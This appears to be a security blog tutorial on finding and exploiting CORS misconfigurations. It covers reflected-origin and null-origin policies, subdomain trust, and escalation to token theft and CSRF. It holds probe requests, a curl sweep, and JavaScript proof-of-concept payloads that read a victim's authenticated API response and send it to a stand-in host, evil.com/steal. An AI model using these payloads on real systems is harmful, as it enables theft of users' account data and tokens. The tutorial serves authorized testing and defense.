cd ../blog

CORS Misconfiguration: The Reflected-Origin Trap

A permissive CORS policy can hand attacker sites read access to authenticated responses. We dissect the reflected-origin and null-origin mistakes.

A permissive CORS policy can hand a malicious website read access to your authenticated API responses using the victim's own cookies. The catastrophic combination is reflecting an arbitrary Origin and allowing credentials. This is how to detect that pairing and prove cross-origin data theft.

Finding it

The two response headers that decide everything are Access-Control-Allow-Origin (which origins may read the response) and Access-Control-Allow-Credentials (whether cookies are in scope). You are hunting for an endpoint that reflects whatever origin you send and pairs it with credentials.

Probe every authenticated endpoint by sending a junk Origin and inspecting the response headers:

GET /api/account HTTP/1.1
Host: api.example.com
Origin: https://evil.com
Cookie: session=...

The tells, in order of severity:

  • Access-Control-Allow-Origin: https://evil.com + ...Allow-Credentials: true — full reflection, exploitable.
  • Access-Control-Allow-Origin: null accepted — reachable from sandboxed iframes.
  • Prefix/suffix matching — try https://example.com.evil.com and https://evilexample.com.
  • Trusting any subdomain — chain with a subdomain takeover or an XSS on a sibling host.

A quick sweep with curl across hosts surfaces reflection fast:

for h in evil.com example.com.evil.com evilexample.com null; do
  echo "== $h =="
  curl -s -I -H "Origin: https://$h" https://api.example.com/api/account \
    | grep -i "access-control-allow"
done

Read both headers together — Access-Control-Allow-Origin reflecting your junk value is only exploitable for credentialed data when Access-Control-Allow-Credentials: true appears alongside it. If credentials are absent, the bug is limited to whatever the endpoint serves without cookies, so note that distinction during recon. CORSer and Burp's "CORS" audit checks automate this matrix across every in-scope endpoint.

Proof of concept

Reflection plus credentials means a page you control can read the victim's authenticated response. Host this on evil.com and have a logged-in victim visit it:

// Runs on evil.com against a victim who is logged in to example.com
fetch("https://api.example.com/api/account", { credentials: "include" })
  .then(r => r.text())
  .then(data => {
    // Exfiltrate the stolen, authenticated response
    navigator.sendBeacon("https://evil.com/steal", data);
  });

The victim's browser attaches their session cookie automatically; the reflected ACAO lets your script read the body; the beacon ships it to you. The request landing on evil.com/steal containing the victim's profile JSON is the proof — no credential theft up front, just a malicious link.

For a null-origin acceptance, deliver the same fetch from inside a sandboxed iframe, which forces the Origin: null the server trusts:

<iframe sandbox="allow-scripts" srcdoc="
  <script>
    fetch('https://api.example.com/api/account', {credentials:'include'})
      .then(r=>r.text())
      .then(d=>fetch('https://evil.com/steal?d='+encodeURIComponent(d)));
  </script>">
</iframe>

Going further

Escalate from "can read profile" to demonstrated account compromise by targeting responses that contain reusable secrets:

  • Fetch an endpoint that returns an API token or session token in its body and exfiltrate it.
  • Read an anti-CSRF token from a JSON response, then use it to forge a state-changing request — turning a read-only CORS bug into a write.
  • Walk authenticated endpoints (/api/me, /api/keys, /api/messages) and dump everything the legitimate frontend could see.

A subdomain-trust variant is worth chaining when the server reflects any *.example.com origin: if you can land an XSS on a low-value sibling subdomain, or take over a dangling one, your script there is a trusted origin and reads the main API's credentialed responses directly — turning a "weak" wildcard-subdomain policy into the same full read.

The clearest writeup pairs the offending response headers (showing evil.com reflected with credentials) with the exfil request landing on your server carrying the victim's data. Note the exact Origin value the server reflected and the precise data leaked. Keep all testing to assets you are authorized to probe, and use accounts you control as the "victim."